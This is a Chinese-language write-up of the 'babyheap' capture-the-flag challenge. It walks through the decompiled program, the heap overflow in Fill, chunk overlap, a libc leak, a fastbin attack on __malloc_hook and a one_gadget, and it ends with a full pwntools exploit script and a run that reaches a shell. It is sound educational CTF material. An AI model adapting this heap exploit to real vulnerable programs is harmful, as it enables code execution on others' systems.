Pwn babyheap writeup
TOC
1. 程序功能介绍 1.1. 安全防护 1.2. 结构体 1.3. 主程序 1.4. 菜单 1.5. Allocate 1.5.1. calloc 1.6. Fill 1.7. Free 1.8. Dump 2. 分析 3. 思路 3.1. chunk extend 进行 overlapping 3.2. 泄露libc基地址 3.3. 劫持malloc_hook 3.3.1. one_gadget 4. 完整脚本 4.1. 运行实例 5. 总结
源文件、IDA分析文件打包下载:babyheap.zip 。
程序功能介绍 安全防护 ex@Ex:~/test$ checksec babyheap [!] Couldn't find relocations against PLT to get symbols [*] '/home/ex/test/babyheap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
程序是Full RELRO
防护,使得劫持got表变得不可能,而且PIE
保护也会增加getshell的难度。
结构体 typedef struct container { long long is_used; long long size; char *ptr; }container;
主程序 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { container *container_array; container_array = (container *)allocate_by_mmap (); while ( 1 ) { show_menu (); get_number (); switch ( (unsigned __int64)global_operate ) { case 1uLL : Allocate (container_array); break ; case 2uLL : Fill (container_array); break ; case 3uLL : Free (container_array); break ; case 4uLL : Dump (container_array); break ; case 5uLL : return 0LL ; default : continue ; } } }
菜单 int show_menu () { puts ("1. Allocate" ); puts ("2. Fill" ); puts ("3. Free" ); puts ("4. Dump" ); puts ("5. Exit" ); return printf ("Command: " ); }
Allocate void __fastcall Allocate (container *a1) { signed int i; signed int v2; void *v3; for ( i = 0 ; i <= 15 ; ++i ) { if ( !LODWORD (a1[i].is_used) ) { printf ("Size: " ); v2 = get_number (); if ( v2 > 0 ) { if ( v2 > 4096 ) v2 = 4096 ; v3 = calloc (v2, 1uLL ); if ( !v3 ) exit (-1 ); LODWORD (a1[i].is_used) = 1 ; a1[i].size = v2; a1[i].ptr = (__int64)v3; printf ("Allocate Index %d\n" , (unsigned int )i); } return ; } } }
calloc The calloc() function allocates memory for an array of nmemb elements of size bytes each and returns a pointer to the allocated memory. The memory is set to zero. If nmemb or size is 0, then calloc() returns either NULL, or a unique pointer value that can later be successfully passed to free().
Fill void __fastcall Fill (container *a1) { signed int v1; int size; printf ("Index: " ); v1 = get_number (); if ( v1 >= 0 && v1 <= 15 && LODWORD (a1[v1].is_used) == 1 ) { printf ("Size: " ); size = get_number (); if ( size > 0 ) { printf ("Content: " ); read_from_stdin (a1[v1].ptr, size); } } }
这里的size是由用户输入而定的。
Free void __fastcall Free (container *a1) { signed int v1; printf ("Index: " ); v1 = get_number (); if ( v1 >= 0 && v1 <= 15 && LODWORD (a1[v1].is_used) == 1 ) { LODWORD (a1[v1].is_used) = 0 ; a1[v1].size = 0LL ; free ((void *)a1[v1].ptr); a1[v1].ptr = 0LL ; } }
free这里处理的很干净,基本找不出漏洞。
Dump void __fastcall Dump (container *a1) { signed int index; printf ("Index: " ); index = get_number (); if ( index >= 0 && index <= 15 && LODWORD (a1[index].is_used) == 1 ) { puts ("Content: " ); output_to_stdout (a1[index].ptr, a1[index].size); puts (byte_14F1); } }
输入container->ptr指向内存块的内容,没有’\0’截断。
分析 Fill
的size由用户控制,原本设想heap overflow来构造unlink来控制container_array
变量来达到任意地址写的目的,但是container_array
的地址是完全随机的,所以这里用的是控制main_arena
上分的malloc_hook
来达到getshell的目的。calloc
函数又会给泄露libc基地址增加麻烦。
思路
chunk extend
泄露libc基地址
劫持malloc_hook
chunk extend 进行 overlapping Allocate(0x10 ) Allocate(0x80 ) Allocate(0x80 ) Allocate(0x10 ) Fill(0 , 0x10 + 0x10 , b'a' * 0x10 + p64(0 ) + p64(0x121 )) Free(1 ) Allocate(0x80 + 0x90 )
这里我将index 1
和index 2
重合。
泄露libc基地址 由于上面是用alloc
函数进行申请内存,所以会对内存进行’\0’填充,所以我们要先需要恢复 index 2 的chunk 首部。
Fill(1 , 0x80 + 0x10 , b'b' * 0x80 + p64(0 ) + p64(0x91 )) Free(2 ) result = Dump(1 ) main_arena_88 = u64(result[0x90 : 0x90 + 8 ]) log.success('main_arena_88: ' + hex (main_arena_88)) main_arena_88_offset = 0x3c4b78 libc_base = main_arena_88 - main_arena_88_offset log.success('libc_base: ' + hex (libc_base))
由于不同的库函数main_arena_88_offset
是不同的,所以需要自行计算。
劫持malloc_hook main_arena的布局如下,我们只需要把malloc_hook
修改为one_gadget
就可以getshell了。
pwndbg> p &main_arena $1 = (struct malloc_state *) 0x7ff3b7c4bb20 <main_arena> pwndbg> x/16gx 0x7ff3b7c4bb20-0x40 0x7ff3b7c4bae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000 0x7ff3b7c4baf0 <_IO_wide_data_0+304>: 0x00007ff3b7c4a260 0x0000000000000000 0x7ff3b7c4bb00 <__memalign_hook>: 0x00007ff3b790ce20 0x00007ff3b790ca00 0x7ff3b7c4bb10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 0x7ff3b7c4bb20 <main_arena>: 0x0000000100000000 0x0000000000000000 0x7ff3b7c4bb30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7ff3b7c4bb40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7ff3b7c4bb50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
可以看到malloc_hook
就在上面。但是向前overlapping
的时候会对前面的chunk的size进行检查。所以我们需要进行一点偏移来伪造size。
pwndbg> x/16gx 0x7ff3b7c4bb20-0x40-3 0x7ff3b7c4badd <_IO_wide_data_0+285>: 0x0000000000000000 0x0000000000000000 0x7ff3b7c4baed <_IO_wide_data_0+301>: 0xf3b7c4a260000000 0x000000000000007f 0x7ff3b7c4bafd: 0xf3b790ce20000000 0xf3b790ca0000007f 0x7ff3b7c4bb0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000 0x7ff3b7c4bb1d: 0x0100000000000000 0x0000000000000000 0x7ff3b7c4bb2d <main_arena+13>: 0x0000000000000000 0x0000000000000000 0x7ff3b7c4bb3d <main_arena+29>: 0x0000000000000000 0x0000000000000000 0x7ff3b7c4bb4d <main_arena+45>: 0x0000000000000000 0x0000000000000000
one_gadget 不同版本的glibc,one_gadget是不同的,这个需要根据自己的机器变动。
ex@ubuntu:~/test$ one_gadget /lib/x86_64-linux-gnu/libc.so.6 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
这里简单说一下本人犯的一个错误,在进行申请任意内存时,我用 unsorted bin 来操作的,因为这个问题还调试了挺久的,后面keer
大佬提醒要用fastbin 才反应过来。
Allocate(0x60 ) Free(2 ) Fill(1 , 0x80 + 0x20 - 8 , b'c' * 0x80 + p64(0 ) + p64(0x71 ) + p64(main_arena - 0x33 )) Allocate(0x60 ) Allocate(0x60 ) one_gadget_offset = 0x4526a one_gadget_addr = libc_base + one_gadget_offset log.success('one_gadget_addr: ' + hex (one_gadget_addr)) Fill(4 , 0x13 + 8 , 'd' * 0x13 + p64(one_gadget_addr)) sh.sendline('1' ) sh.recvuntil('Size: ' ) sh.sendline(str (10 )) sh.interactive()
完整脚本 from pwn import *sh = process('./babyheap' ) elf = ELF('./babyheap' ) f = open ('pid' , 'w' ) f.write(str (proc.pidof(sh)[0 ])) f.close() def Allocate (size ): sh.sendline('1' ) sh.recvuntil('Size: ' ) sh.sendline(str (size)) sh.recvuntil('Command: ' ) def Fill (index, size, content ): sh.sendline('2' ) sh.recvuntil('Index: ' ) sh.sendline(str (index)) sh.recvuntil('Size: ' ) sh.sendline(str (size)) sh.recvuntil('Content: ' ) sh.send(content) sh.recvuntil('Command: ' ) def Free (index ): sh.sendline('3' ) sh.recvuntil('Index: ' ) sh.sendline(str (index)) sh.recvuntil('Command: ' ) def Dump (index ): sh.sendline('4' ) sh.recvuntil('Index: ' ) sh.sendline(str (index)) sh.recvuntil('Content: \n' ) result = sh.recvuntil('Command: ' ) return result[:-10 ] def s (): raw_input('#' ) sh.recvuntil('Command: ' ) Allocate(0x10 ) Allocate(0x80 ) Allocate(0x80 ) Allocate(0x10 ) Fill(0 , 0x10 + 0x10 , b'a' * 0x10 + p64(0 ) + p64(0x121 )) Free(1 ) Allocate(0x80 + 0x90 ) Fill(1 , 0x80 + 0x10 , b'b' * 0x80 + p64(0 ) + p64(0x91 )) Free(2 ) result = Dump(1 ) main_arena_88 = u64(result[0x90 : 0x90 + 8 ]) log.success('main_arena_88: ' + hex (main_arena_88)) main_arena = main_arena_88 - 88 log.success('main_arena: ' + hex (main_arena)) main_arena_88_offset = 0x3c4b78 libc_base = main_arena_88 - main_arena_88_offset log.success('libc_base: ' + hex (libc_base)) Allocate(0x60 ) Free(2 ) Fill(1 , 0x80 + 0x20 - 8 , b'c' * 0x80 + p64(0 ) + p64(0x71 ) + p64(main_arena - 0x33 )) Allocate(0x60 ) Allocate(0x60 ) one_gadget_offset = 0x4526a one_gadget_addr = libc_base + one_gadget_offset log.success('one_gadget_addr: ' + hex (one_gadget_addr)) Fill(4 , 0x13 + 8 , 'd' * 0x13 + p64(one_gadget_addr)) sh.sendline('1' ) sh.recvuntil('Size: ' ) sh.sendline(str (10 )) sh.interactive() os.system("rm -f pid" )
运行实例 ex@ubuntu:~/test$ ./exp.py [+] Starting local process './babyheap': pid 2420 [*] '/home/ex/test/babyheap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] main_arena_88: 0x7f5fb4114b78 [+] main_arena: 0x7f5fb4114b20 [+] libc_base: 0x7f5fb3d50000 [+] one_gadget_addr: 0x7f5fb3d9526a [*] Switching to interactive mode $ id uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $
总结 三人行必有我师焉。